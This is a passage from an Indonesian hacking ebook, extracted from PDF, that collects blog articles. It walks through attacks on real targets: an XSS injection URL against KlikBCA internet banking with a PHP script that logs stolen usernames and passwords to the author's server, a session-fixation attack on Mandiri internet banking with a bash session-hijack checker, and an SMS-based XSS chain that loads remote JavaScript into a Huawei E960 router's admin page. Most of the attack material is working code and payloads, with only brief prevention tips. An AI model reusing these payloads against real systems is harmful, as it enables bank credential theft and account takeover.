Agar bisa mengirimkan user dan password, saya harus mengubah atribut src myimage menjadi:

'http://www.ilmuhacking.com/testcapture.php?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value

Selanjutnya saya harus membuat fungsi Login_Form_Validator mengubah atribut src myimage, agar ketika submit button di-klik maka atribut src myimage akan berubah dan browser akan melakukan request GET ke isi atribut src. Hal yang tricky adalah jika return dari fungsi Login_Form_Validator adalah false, browser baru akan melakukan request image. Bila tidak, browser akan mengabaikan perubahan atribut src, dan tetap melakukan submit.

Untuk menyiasatinya, saya terpaksa membuat agar button submit harus di klik 2x. Pada klik yang pertama tidak terjadi submit sesungguhnya, hal ini saya manfaatkan untuk mengubah atribut src myimage dan mengirim username/password ke server saya. Pada klik ke-2, browser baru melakukan submit yang sesungguhnya. Agak aneh memang, tapi saya yakin kebanyakan user tidak akan menyadari dan akan melanjutkan dengan meng-klik sekali lagi.

Saya buat satu variabel abc yang bernilai false pertama kali. Pada klik pertama, nilai abc menjadi true, sehingga pada klik ke-2 fungsi tidak mengembalikan nilai false. Fungsi Login_Form_Validator adalah sebagai berikut:

var abc=false; function Login_Form_Validator(theForm { if (!abc) { document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php'+'?userid='+document.forms[0]['value(user_id)'].value+'&passwd='+document.forms[0]['value(pswd)'].value;

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 22: Men Gena Lt Eh Nik Hacking

abc = true; return false; } }

Kini sudah lengkap semua yang dibutuhkan, siap untuk diinjeksikan melalui URL sebagai berikut:

https://ibank.klikbca.com/authentication.do?value(actions)=login&value(strError)=TEST';var abc=false;function Login_Form_Validator(theForm){if (!abc) {abc=true;document.images.myimage.src='http://www.ilmuhacking.com/testcapture.php?userid='%2Bdocument.forms[0]['value(user_id)'].value%2B'%26passwd='%2Bdocument.forms[0]['value(pswd)'].value;return false;}}</script><img name="myimage" src="http://www.ilmuhacking.com/testcapture.php" width="1" height="1"><noscript><!--

URL di atas adalah EXPLOIT. Tugas attacker adalah membuat orang lain yang ingin login, meng-klik melalui link tersebut. Ada banyak cara untuk itu. Salah satunya adalah dengan membuat link dengan anchor text di samarkan, seperti ini: Klik di sini untuk login.

Bila kita coba isi dengan username:abc1234 dan password:123456. Maka pada klik pertama akan ada request GET ke URL berikut ini:

http://www.ilmuhacking.com/testcapture.php?userid=abc1234&passwd=123456

Baru pada klik ke-2, username dan password tersebut di-submit dengan request POST ke server yang benar.

Saving User and Password

Sekarang bagian yang paling mudah, yaitu menyimpan username dan password yang masuk. Dalam contoh ini saya gunakan URL www.ilmuhacking.com/testcapture.php

Saya menyimpan user dan password dalam file capture.txt. Kode PHP yang saya gunakan untuk menyimpan user dan password adalah sebagai berikut:

1 2 3 4 5 6 7 8 9 10

<?php $file=fopen("capture.txt","a+"); $userid=$_GET["userid"]; $passwd=$_GET["passwd"]; $ipaddr=$_SERVER["REMOTE_ADDR"]; $now = date("Ymd H:i:s"); if (!empty($userid)) { fwrite($file,"$userid =&amp;gt; $passwd (at $now from $ipaddr)\n"); }

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 23: Men Gena Lt Eh Nik Hacking

11 fclose($file); ?>

Kesimpulan

Ternyata bug yang di-remehkan seperti XSS sekalipun, bila di-exploit bisa jadi berbahaya. Saya telah buktikan dengan contoh sederhana ini. Di tangan orang yang tepat celah sekecil apapun bisa menjadi masalah besar. Pesan saya: Never Underestimate Vulnerabilities

Penggunaan enkripsi https sama sekali tidak berguna dalam kasus ini. Karena https hanya menjamin authentication dan confidentiality saja.

Hacking Mandiri Internet Banking dengan Session Fixation

February 3rd, 2009 By Rizki Wicaksono

Dalam artikel ini saya akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air. Detil mengenai session fixation attack bisa dibaca di artikel saya sebelumnya yang berjudul mengenal session fixation attack.

Session ID Bank Mandiri Internet Banking

Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Fixate sessionid yang dipilih sendiri dengan query string

Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.

1 2 3 4

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890 GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 24: Men Gena Lt Eh Nik Hacking

5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

Host: ib.bankmandiri.co.id User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: id,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 200 OK Date: Mon, 02 Feb 2009 23:28:58 GMT Pragma: no-cache Content-Encoding: gzip Content-Length: 3822 Content-Type: text/html Expires: -1 Transfer-Encoding: Chunked Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/ Cache-Control: no-cache

Ternyata usulan saya ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.

Fixate sessionid yang dibangkitkan server dengan query string

Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Sessionid ini akan saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 25: Men Gena Lt Eh Nik Hacking

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1 Host: ib.bankmandiri.co.id User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: id,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 200 OK Date: Mon, 02 Feb 2009 23:37:42 GMT Pragma: no-cache Content-Encoding: gzip Content-Length: 3824 Content-Type: text/html Expires: -1 Transfer-Encoding: Chunked Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/ Cache-Control: no-cache

Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang saya usulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.

Skenario Serangan

Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:

1. Attacker mengirimkan link kepada calon korban.

<a target="_blank" href="https://ib.bankmandiri.co.id/retail/Login.do?action=form&JS

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 26: Men Gena Lt Eh Nik Hacking

ESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002"> Klik Dong</a>

Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:

o Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id

o Apakah pakai https? Benar! URL tersebut diawali dengan https o Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do

Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan.

2. Korban mengklik link tersebut.

Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu menggunakan sessionid tersebut.

Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?

3. Korban login

Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.

4. Attacker mengakses account korban

Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.

Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 27: Men Gena Lt Eh Nik Hacking

masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.

Session Status Checker

Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).

1 2 3 4 5 6 7 8 9 10 11

#!/bin/bash while [ true ] ; do NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '<td align="center" height="25" bgcolor="#DDF2FA">[0-9]*</td>'|cut -f2 -d">"|cut -f1 -d"<"` if [ -z "$NOREK" ] then echo "Dead" else echo "Alive, Norek: $NOREK" fi sleep 10 done

Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 28: Men Gena Lt Eh Nik Hacking

mandiri check session

Perhatikan pada gambar di atas, script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.

Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.

Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!

Pada gambar tersebut juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.

Modifikasi Cookie Expired Date secara Lokal

modified expired date

Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.

Tips Pencegahan

Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.

Kesimpulan

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 29: Men Gena Lt Eh Nik Hacking

Saya telah menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.

Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https.

XSS Attack using SMS to Huawei E960 HSDPA Router

February 22nd, 2009 By Rizki Wicaksono Goto comments Leave a comment

Serangan XSS tidak hanya bisa dilakukan dengan browser di komputer, dalam artikel ini saya akan memberikan contoh nyata serangan xss yang bisa dilakukan hanya dengan mengirim sms dari handphone. Artikel ini saya tulis ketika memakai internet di rumah teman yang menggunakan HSDPA wireless router merek Optus (Huawei) E960.

Sekilas tentang Optus Huawei E960

E960 adalah wireless router yang menggunakan koneksi HSDPA/3G. Dengan menggunakan E960 koneksi internet 3G dari operator seluler tidak hanya dinikmati sendiri, tapi bisa disebarkan ke banyak komputer dengan Wifi atau kabel ethernet (RJ45), jadi bisa menjadi hotspot mini untuk rumah/kantor.

Versi firmware yang dipakai dalam artikel ini adalah:

• Router hardware version WLA1GCPU • Router software version 246.11.04.11.110sp04 • Modem hardware version WLB1TCPU • Modem software version 246.11.04.07.116

Telnet to E960

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 30: Men Gena Lt Eh Nik Hacking

E960 bisa dimanage dengan menggunakan interface web atau telnet. Operating system dalam router ini adalah busybox, salah satu varian embedded linux. Untuk masuk ke busybox cukup gunakan program telnet dengan username dan password default, “admin:admin”. Karena dalam artikel ini saya membahas tentang serangan melalui sms, maka saya akan sedikit membedah bagaimana sms dihandle di E960.

Folder tempat menyimpan sms baik yang diterima, dikirim maupun draft adalah /tmp/sms. Isi dari folder tersebut adalah:

# ls -l drwxr-xr-x 1 0 0 0 Jan 1 2000 unsend_sms drwxr-xr-x 1 0 0 0 Jan 1 2000 sent_sms drwxr-xr-x 1 0 0 0 Jan 1 2000 inbox_sms -rw-r--r-- 1 0 0 540 Jan 8 22:02 per_sms_file

File per_sms_file berisi PDU dari sms yang belum dibuka, jadi belum masuk ke folder inbox_sms. Bila seorang admin masuk ke interface web dan membuka inbox, maka sms yang ada di per_sms_file akan dipindahkan ke folder inbox_sms. Dalam folder inbox_sms setiap sms disimpan dalam file yang bernama “0″,”1″ sampai “10″ secara berurutan.

Sebagai contoh bila saya mengirim sms dengan isi “halo apa kbr?”, maka per_sms_file akan berisi PDU:

06912618010000240D91261823411474F40000902021615341820DC830FB0D0AC3C3A0B558FE03

Kalau dilihat dengan online PDU decoder, PDU tersebut artinya:

SMSC#+6281100000 Sender:+6281321441474 TimeStamp:12/02/09 16:35:14 TP_PID:00 TP_DCS:00 TP_DCS-popis:Uncompressed Text class:0 Alphabet:Default Halo apa kbr? Length:13

Web Interface

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 31: Men Gena Lt Eh Nik Hacking

web interface login page

Dalam web interface E960 telah disediakan banyak fasilitas terkait dengan konfigurasi koneksi internet. Selain itu ada juga fasilitas untuk membaca dan mengirim sms. Nah fasilitas sms ini lah yang mengandung bug xss. Kesalahan E960 adalah dia tidak memfilter sms yang akan ditampilkan di web interfacenya, artinya dia 100% percaya bahwa sms yang masuk pasti bersih dari kode jahat sehingga dia berani langsung menampilkannya di web interfacenya.

Bug XSS pada halaman inbox tersebut memungkinkan attacker mengirimkan sms yang berisi kode html atau javascript yang akan otomatis dieksekusi begitu sang admin sedang membaca sms. Apa akibat yang ditimbulkan dari serangan ini?

• Attacker bisa mendapatkan password PPP 3G korban. Caranya adalah dengan mengakses URL: /js/connection.js lalu mengirimkannya sebagai sms ke nomer hp attacker.

• Attacker bisa mendisconnect koneksi internet korban. • Attacker bisa mengirim sms dengan nomor dan biaya korban. • Attacker bisa mendapatkan password WIFI bila korban menggunakan enkripsi

untuk melindungi jaringan wirelessnya.

the scariest thing about this attack is the fact that sms can’t be rejected. sms always goes straight to inbox

Perlu diingat juga bahwa sms tidak bisa dibendung. Berbeda dengan telepon masuk yang bisa anda tolak bila anda tidak suka, sms tidak bisa anda tolak, sms langsung masuk ke inbox handphone tanpa perlu ijin dari anda. Artinya dampak dari serangan ini sangat berbahaya, korban tidak bisa menolak sms yang masuk. Bayangkan bila ada senjata yang pelurunya tidak mungkin dibendung dengan rompi/tembok anti peluru setebal apapun, peluru (malicious sms) ini pasti bisa masuk ke inbox tanpa hambatan apa pun.

XSS Vulnerability

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 32: Men Gena Lt Eh Nik Hacking

XSS Vulnerability pada web interface terdapat pada halaman sms inbox. Dalam halaman ini ditampilkan sms yang masuk, nomor pengirim dan tanggal. Berdasarkan percobaan, dari 160 karakter sms, yang bisa ditampilkan di sini hanya 32 karakter pertama saja. Gambar di bawah ini adalah sms yang terlihat pada halaman inbox ketika saya mengirim sms sepanjang 160 karakter berikut:

Adgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptwadgjmptw

inbox view: maximum 32 characters per sms

Testing with Italic Tag HTML

Oke, sekarang mari kita coba mengirimkan tag html italic, apakah sms yang ditampilkan akan tercetak miring? Bila iya, maka terbukti bahwa halaman inbox huawei E960 ini vulnerable. SMS yang saya kirimkan adalah berikut ini:

<i>test miring</i>

italic tag injection works

Injecting simple script

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 33: Men Gena Lt Eh Nik Hacking

Injeksi tag italic ternyata berhasil, kini saatnya kita melakukan serangan yang lebih serius, yaitu menginjeksi javascript. Karena dibatasi hanya 32 karakter saka, maka sms berisi script yang saya kirim sangat sederhana, yaitu:

<script>alert('xssed');</script>

simple script injection works

Gambar di atas menunjukkan serangan xss sederhana yang berhasil diinjeksi lewat sms. Mari kita lihat di balik layar, apa yang terjadi dengan sms tersebut. Perhatikan gambar di bawah ini yang menunjukkan source code halaman inbox tersebut.

sms script injected inside html source code

Overcome 32 Charackters Limit

Oke, saya telah menunjukkan bahwa halaman inbox bisa diinjeksi dengan script. Namun ingat, halaman inbox hanya bisa diinjeksi dengan script yang panjangnya 32 karakter saja. Dari 32 karakter itu, 17 karakter sudah terpakai untuk tag buka dan tag tutup, sisanya hanya 15 karakter, sangat kecil sekali yang bisa dilakukan.

Tunggu dulu, jangan pesimis dulu. Awalnya saya kebingungan juga, namun setelah saya pikirkan lagi, saya dapat ide untuk menyambung banyak sms menjadi satu kesatuan dengan menggunakan komentar dan konkatenasi (penyambungan string).

Kalau anda masih bingung, perhatikan source code dari halaman inbox berikut ini:

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 34: Men Gena Lt Eh Nik Hacking

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

<tr class = "tdunread"> <td style= "width:50px"><label id="labicon0">&nbsp;</label></td><td style="width:150px"><a href="javascript: request_sms(2)" >22.02.2009 14.11.15</a></td> <td style="width:150px"><a href="javascript: request_sms(2)" >+6281321441474</a></td> <td style="width:400px"><a href="javascript: request_sms(2)" >ini sms 1</a></td> <td style="width:50px"><input type = "checkbox" value ='2' id = 'box0' name = 'tdunread0'></td> </tr> <tr class = "tdunread"> <td style= "width:50px"><label id="labicon1">&nbsp;</label></td><td style="width:150px"><a href="javascript: request_sms(1)" >22.02.2009 14.10.05</a></td> <td style="width:150px"><a href="javascript: request_sms(1)" >+6281321441474</a></td> <td style="width:400px"><a href="javascript: request_sms(1)" >ini sms 2</a></td> <td style="width:50px"><input type = "checkbox" value ='1' id = 'box1' name = 'tdunread1'></td> </tr> <tr class = "tdunread"> <td style= "width:50px"><label id="labicon2">&nbsp;</label></td><td style="width:150px"><a href="javascript: request_sms(0)" >22.02.2009 14.08.11</a></td> <td style="width:150px"><a href="javascript: request_sms(0)" >+6281321441474</a></td> <td style="width:400px"><a href="javascript: request_sms(0)" >ini sms 3</a></td> <td style="width:50px"><input type = "checkbox" value ='0' id = 'box2' name = 'tdunread2'></td> </tr>

Setiap sms ditampilkan dalam satu baris tabel tersendiri (di antara tag buka dan tag tutup TR). Isi sms ditampilkan dalam salah satu kolom di baris tersebut, bersama dengan kolom lain yang berisi nomor pengirim dan tanggal. Jadi bila saya ingin menggabungkan 2 sms menjadi satu, maka yang perlu saya lakukan adalah menggunakan komentar. Pada sms yang pertama saya akhiri dengan awal komentar, kemudian pada sms kedua, saya mulai dengan tutup komentar, dan lanjutan dari script pada sms pertama. Perhatikan contoh di bawah ini.

1 2 3

<script>alert('hello '/* ini adalah komentar yang akan diabaikan browser */+'world');</script>

Baris pertama pada kode di atas berasal dari sms pertama. Baris kedua adalah text atau tag html apapun yang ada sesudahnya. Sedangkan baris ke-3 adalah isi sms kedua, yang merupakan lanjutan dari script pada sms pertama. Karena setiap sms ditampilkan dalam baris dan kolom tabel, tentu saja sesudah isi sms akan diikuti dengan banyak tag html lain seperti TR, TD (lihat contoh source code html halaman inbox di atas). Namun dengan

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 35: Men Gena Lt Eh Nik Hacking

menggunakan komentar, maka semua tag itu akan diabaikan browser, hingga browser menemukan */ yang merupakan penanda akhir komentar.

Sebenarnya ada 2 macam komentar yang tersedia, yaitu komentar HTML dan komentar javascript. Komentar html di awali dengan <!– dan diakhiri dengan –>. Saya memilih memakai komentar javascript karena saya sudah mencoba menggunakan tag html untuk mengambil script dari server luar dengan atribut SRC, namun isi dari atribut SRC tersebut tidak bisa diputus ditengah jalan dengan komentar html dan disambung lagi dengan konkatenasi seperti contoh script ‘hello world’ di atas.

Browser bisa mengenali sedang bekerja dalam konteks html atau javascript dari tag yang ditemukan. Bila ada teks yang berada di dalam tag script, maka teks tersebut berada dalam konteks javascript, sehingga aturan komentar yang berlaku adalah komentar javascript (/* … */) bukan komentar html.

Agar lebih memahami, saya akan tunjukkan contoh serangan dengan 3 sms. Ketiga sms tersebut tidak mengandung code yang berbahaya, karena ketiganya hanya berfungsi sebagai initializer atau agen perintis yang membuka jalan untuk payload yang berasal dari server luar. Karena keterbatasan jumlah karakter, maka untuk dapat menghasilkan serangan yang bermakna, saya harus bisa membuat browser me-load javascript dari server luar. Karena scriptnya ada di server lain, saya bebas membuat dan menginjeksikan script ke browser korban sepanjang apapun yang saya mau.

Lokasi dari script yang akan saya injeksikan ada di URL: http://ilmuhacking.com/xss.js. Karena hanya sebagai proof of concept, script dalam url tersebut sangat sederhana yaitu:

alert('ini script di ilmuhacking.com/xss.js');

Untuk melancarkan serangan ini saya harus mengirim 3 sms berikut ini (susunan sms ini menunjukkan urutan pengiriman):

1. */+'king.com/xss.js';</script> 2. <script>x.src='http://ilmuhac'/* 3. <script id='x'></script>

Agar sms tersusun dengan benar, maka pengiriman sms harus terurut mulai dari nomor 1 hingga 3. Hal ini karena dalam halaman inbox tersebut, sms yang terbaru akan ditampilkan di paling atas dan menggeser sms yang lebih lama ke bawah. Harapan saya dengan mengirim ketiga sms tersebut adalah menginjeksikan script berikut:

<script id='x'></script> <script>x.src='http://ilmuhacking.com/xss.js';</script>

Mungkin ada yang bertanya kenapa kok tidak menggunakan tag script dengan atribut src untuk meload script dari luar? Jawabannya adalah karena batasan 32 karakter per sms, sehingga saya harus menggunakan 2 sms untuk mengisi atribut SRC tersebut. Sebagai contoh bila saya ingin mengisi SRC=’http://ilmuhacking.com/xss.js’, maka saya harus

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 36: Men Gena Lt Eh Nik Hacking

memutus string URL tersebut di tengah, kemudian menyambungnya di sms berikutnya. Karena SRC adalah atribut dari tag script, yang artinya masih dalam mode HTML, maka komentar yang berlaku adalah komentar html style, dan juga tidak ada operasi konkatenasi dalam html. Setelah saya coba memutus dengan komentar dan menyambungnya, ternyata script tidak dieksekusi, artinya xss gagal dengan cara itu.

Baiklah sudah cukup panjang penjelasan saya, kini saya coba mengirimkan ketiga sms tersebut secara berurutan. Kemudian setelah ketiganya delivered, berikut adalah gambar halaman inbox setelah ketiga sms tersebut terkirim:

xssed remotely

Terlihat bahwa script yang lokasinya di ilmuhacking.com/xss.js dieksekusi oleh browser korban. Itu artinya kini attacker bisa bebas mengisi xss.js dengan script apapun tanpa dibatasi lagi dengan maksimum 32 karakter.

Gambar berikut ini menggambarkan dengan jelas apa yang sebenarnya terjadi pada ketiga sms tersebut. SMS 1 berfungsi untuk membuat tag script bernama “x”. Kemudian SMS 2 dan SMS 3 adalah satu kesatuan yang dipisahkan dengan komentar dan disatukan dengan konkatenasi string (karakter plus ‘+’).

html source code inbox page

Inbox Page Damage

Halaman inbox yang sudah terinjeksi serangan 3 sms di atas akan rusak. SMS tidak bisa dihapus karena tombol delete tidak lagi berfungsi. Padahal selama 3 sms itu masih ada, maka halaman inbox akan tetap rusak. Untuk bisa membuat halaman inbox itu normal kembali, maka sms itu harus dihapus.

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.

Page 37: Men Gena Lt Eh Nik Hacking

Sebelumnya sudah saya jelaskan tentang telnet ke console Huawei E960. Bila menghapus sms dengan web interface tidak bisa, maka saya harus menghapus sms tersebut secara langsung dengan telnet. File yang perlu saya hapus adalah file yang ada di folder /tmp/sms/inbox_sms

remove sms file using telnet

Setelah file sms dihapus dari folder inbox_sms, maka di halaman inbox kini akan muncul error seperti pada gambar berikut:

sms not found error

Jangan kuatir, meskipun ada pesan error, tombol Delete kini berfungsi dengan baik. Anda kini bisa menghapus ke-3 sms tersebut dengan mencheck smsnya dan menklik tombol Delete. Bila anda mendapati halaman seperti gambar berikut berarti sms “jahat” tersebut sudah hilang dari huawei e960 anda.

delete succeeded

Generated by Foxit PDF Creator © Foxit Softwarehttp://www.foxitsoftware.com For evaluation only.